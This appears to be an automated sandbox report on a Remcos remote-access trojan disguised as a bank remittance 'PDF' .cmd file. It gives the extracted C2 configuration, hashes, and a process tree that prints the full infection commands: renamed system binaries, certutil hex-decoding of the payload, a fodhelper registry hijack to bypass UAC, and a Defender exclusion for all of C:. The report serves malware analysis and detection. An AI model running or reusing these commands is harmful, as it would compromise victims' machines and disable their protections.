Analysis

  • max time kernel
    148s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    30/05/2024, 15:10

General

  • Target

    E-Advice-Outward Remittance AOBFTT29052024866750/E-Advice-Outward Remittance AOBFTT29052024866750_PDF.cmd

  • Size

    4.1MB

  • MD5

    98c996ae2d016077b557669a2b05d1d2

  • SHA1

    41c53fe4013ed0484bb0a43d39110de4de68a6b3

  • SHA256

    19b35d6530de006c56d12e3c3caa095846ed3446bce72b90adc9130ad0a9359b

  • SHA512

    7addb2bc85126296f3d307f209ea64b084ed2fcb5fbfaa62724fca9a03e49c0fc28f9e874c14e0fd893f4a7a92074f2ba5e90923253011736db84b7f291c9944

  • SSDEEP

    49152:fMH/Q/3P21wHyBJFqQ6WebrGkL+gc0GZNPXdgSDA8Sqnk43iMmWH3GWKKa2Wi9WN:d

Malware Config

Extracted

Family

remcos

Botnet

DodoCrypt

C2

172.208.52.39:5404

172.208.52.39:5403

172.208.52.39:5402

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    true

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    ocoo.dat

  • keylog_flag

    false

  • keylog_path

    %UserProfile%

  • mouse_option

    false

  • mutex

    oowoasasasasssasa-3C9PXA

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • startup_value

    

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Executes dropped EXE 24 IoCs
  • Loads dropped DLL 13 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Kills process with taskkill 1 IoCs
  • Modifies registry class 5 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\E-Advice-Outward Remittance AOBFTT29052024866750\E-Advice-Outward Remittance AOBFTT29052024866750_PDF.cmd"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:2220
    • C:\Windows\System32\extrac32.exe
      C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
      2⤵
        PID:2244
      • C:\Users\Public\alpha.exe
        C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "
        2⤵
        • Executes dropped EXE
        PID:1856
      • C:\Users\Public\alpha.exe
        C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"
        2⤵
        • Executes dropped EXE
        PID:2092
      • C:\Users\Public\alpha.exe
        C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
        2⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:1224
        • C:\Windows\system32\extrac32.exe
          extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
          3⤵
            PID:2112
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\E-Advice-Outward Remittance AOBFTT29052024866750\E-Advice-Outward Remittance AOBFTT29052024866750_PDF.cmd" "C:\\Users\\Public\\Ping_c.mp4" 9
          2⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:2376
          • C:\Users\Public\kn.exe
            C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\E-Advice-Outward Remittance AOBFTT29052024866750\E-Advice-Outward Remittance AOBFTT29052024866750_PDF.cmd" "C:\\Users\\Public\\Ping_c.mp4" 9
            3⤵
            • Executes dropped EXE
            PID:2572
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:2688
          • C:\Windows\system32\extrac32.exe
            extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
            3⤵
              PID:2708
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
            2⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:2584
            • C:\Windows\system32\extrac32.exe
              extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
              3⤵
                PID:2560
            • C:\Users\Public\alpha.exe
              C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
              2⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:1100
              • C:\Windows\system32\extrac32.exe
                extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
                3⤵
                  PID:2548
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                2⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Suspicious use of WriteProcessMemory
                PID:2592
                • C:\Users\Public\xkn.exe
                  C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                  3⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:2460
                  • C:\Users\Public\alpha.exe
                    "C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                    4⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    • Suspicious use of WriteProcessMemory
                    PID:2052
                    • C:\Users\Public\ger.exe
                      C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                      5⤵
                      • Executes dropped EXE
                      • Modifies registry class
                      PID:1620
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Ping_c.mp4" "C:\\Users\\Public\\Libraries\\Ping_c.pif" 12
                2⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:2408
                • C:\Users\Public\kn.exe
                  C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Ping_c.mp4" "C:\\Users\\Public\\Libraries\\Ping_c.pif" 12
                  3⤵
                  • Executes dropped EXE
                  PID:2796
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
                2⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:2836
                • C:\Windows\system32\taskkill.exe
                  taskkill /F /IM SystemSettings.exe
                  3⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2948
              • C:\Users\Public\Libraries\Ping_c.pif
                C:\Users\Public\Libraries\Ping_c.pif
                2⤵
                • Executes dropped EXE
                • Adds Run key to start application
                • Suspicious behavior: CmdExeWriteProcessMemorySpam
                • Suspicious behavior: EnumeratesProcesses
                PID:2752
                • C:\Windows\SysWOW64\extrac32.exe
                  C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Public\Libraries\Ping_c.pif C:\\Users\\Public\\Libraries\\Xfblvivf.PIF
                  3⤵
                    PID:636
                  • C:\Windows\SysWOW64\SndVol.exe
                    C:\Windows\System32\SndVol.exe
                    3⤵
                    • Suspicious use of FindShellTrayWindow
                    • Suspicious use of SendNotifyMessage
                    PID:1268
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"
                  2⤵
                  • Executes dropped EXE
                  PID:2472
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"
                  2⤵
                  • Executes dropped EXE
                  PID:1432
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"
                  2⤵
                  • Executes dropped EXE
                  PID:2640
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\per.exe" / A / F / Q / S
                  2⤵
                  • Executes dropped EXE
                  PID:2664
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S
                  2⤵
                  • Executes dropped EXE
                  PID:2636
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
                  2⤵
                  • Executes dropped EXE
                  PID:2772
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\Ping_c.mp4" / A / F / Q / S
                  2⤵
                  • Executes dropped EXE
                  PID:1644
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S
                  2⤵
                  • Executes dropped EXE
                  PID:2396

              Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

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              Downloads

              • C:\Users\Public\Libraries\Ping_c.pif

                Filesize

                1.4MB

                MD5

                7c2dbf080fa9234d16e898791a8f3824

                SHA1

                f1e5a54d9adc0cb0a23d29a7aeca2f98cfac388b

                SHA256

                978198f369ade33e82322aa0c1cd25feab9b736a2c0d98603f2c320b6cdcfb2e

                SHA512

                6874d779983cac3aebf996d5db1f8503802017516db5c2afef9555468d5f67cbf4ce24ee619b08edcbed517c0070df9b29a8a63ebfac0a6b6f93a47c5fa66880

              • C:\Users\Public\Ping_c.mp4

                Filesize

                2.8MB

                MD5

                de320bde3074a4f84aa2ead6a2923159

                SHA1

                d55eb26ffd1bbcc8365720e76d77a095d18b1e3b

                SHA256

                dbcac0979d33f9019c6e8b2defd8d9c415a9357f1d2b111657ee9109a3b0a5b3

                SHA512

                c2ce9e8a39b0baaddbc2ad3bfcc1074133dcb207ec05f99e7b10c82be089d92c07578f3e0c0211ecfa235222169685d1615d4b3b699e89d10c524bc048c72e2a

              • C:\Users\Public\ger.exe

                Filesize

                73KB

                MD5

                9d0b3066fe3d1fd345e86bc7bcced9e4

                SHA1

                e05984a6671fcfecbc465e613d72d42bda35fd90

                SHA256

                4e66b857b7010db8d4e4e28d73eb81a99bd6915350bb9a63cd86671051b22f0e

                SHA512

                d773ca3490918e26a42f90f5c75a0728b040e414d03599ca70e99737a339858e9f0c99711bed8eeebd5e763d10d45e19c4e7520ee62d6957bc9799fd62d4e119

              • \Users\Public\alpha.exe

                Filesize

                337KB

                MD5

                5746bd7e255dd6a8afa06f7c42c1ba41

                SHA1

                0f3c4ff28f354aede202d54e9d1c5529a3bf87d8

                SHA256

                db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386

                SHA512

                3a968356d7b94cc014f78ca37a3c03f354c3970c9e027ed4ccb8e59f0f9f2a32bfa22e7d6b127d44631d715ea41bf8ace91f0b4d69d1714d55552b064ffeb69e

              • \Users\Public\kn.exe

                Filesize

                1.1MB

                MD5

                ec1fd3050dbc40ec7e87ab99c7ca0b03

                SHA1

                ae7fdfc29f4ef31e38ebf381e61b503038b5cb35

                SHA256

                1e19c5a26215b62de1babd5633853344420c1e673bb83e8a89213085e17e16e3

                SHA512

                4e47331f2fdce77b01d86cf8e21cd7d6df13536f09b70c53e5a6b82f66512faa10e38645884c696b47a27ea6bddc6c1fdb905ee78684dca98cbda5f39fbafcc2

              • \Users\Public\xkn.exe

                Filesize

                462KB

                MD5

                852d67a27e454bd389fa7f02a8cbe23f

                SHA1

                5330fedad485e0e4c23b2abe1075a1f984fde9fc

                SHA256

                a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

                SHA512

                327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

              • memory/1268-80-0x000000001AFB0000-0x000000001B032000-memory.dmp

                Filesize

                520KB

              • memory/1268-87-0x000000001AFB0000-0x000000001B032000-memory.dmp

                Filesize

                520KB

              • memory/1268-98-0x000000001AFB0000-0x000000001B032000-memory.dmp

                Filesize

                520KB

              • memory/1268-83-0x000000001AFB0000-0x000000001B032000-memory.dmp

                Filesize

                520KB

              • memory/1268-97-0x000000001AFB0000-0x000000001B032000-memory.dmp

                Filesize

                520KB

              • memory/1268-84-0x000000001AFB0000-0x000000001B032000-memory.dmp

                Filesize

                520KB

              • memory/1268-78-0x0000000002710000-0x0000000003710000-memory.dmp

                Filesize

                16.0MB

              • memory/1268-85-0x000000001AFB0000-0x000000001B032000-memory.dmp

                Filesize

                520KB

              • memory/1268-86-0x000000001AFB0000-0x000000001B032000-memory.dmp

                Filesize

                520KB

              • memory/1268-96-0x000000001AFB0000-0x000000001B032000-memory.dmp

                Filesize

                520KB

              • memory/1268-88-0x000000001AFB0000-0x000000001B032000-memory.dmp

                Filesize

                520KB

              • memory/1268-93-0x000000001AFB0000-0x000000001B032000-memory.dmp

                Filesize

                520KB

              • memory/1268-94-0x000000001AFB0000-0x000000001B032000-memory.dmp

                Filesize

                520KB

              • memory/1268-95-0x000000001AFB0000-0x000000001B032000-memory.dmp

                Filesize

                520KB

              • memory/2460-44-0x0000000001CC0000-0x0000000001CC8000-memory.dmp

                Filesize

                32KB

              • memory/2460-43-0x000000001B430000-0x000000001B712000-memory.dmp

                Filesize

                2.9MB

              • memory/2752-71-0x0000000000400000-0x0000000000569000-memory.dmp

                Filesize

                1.4MB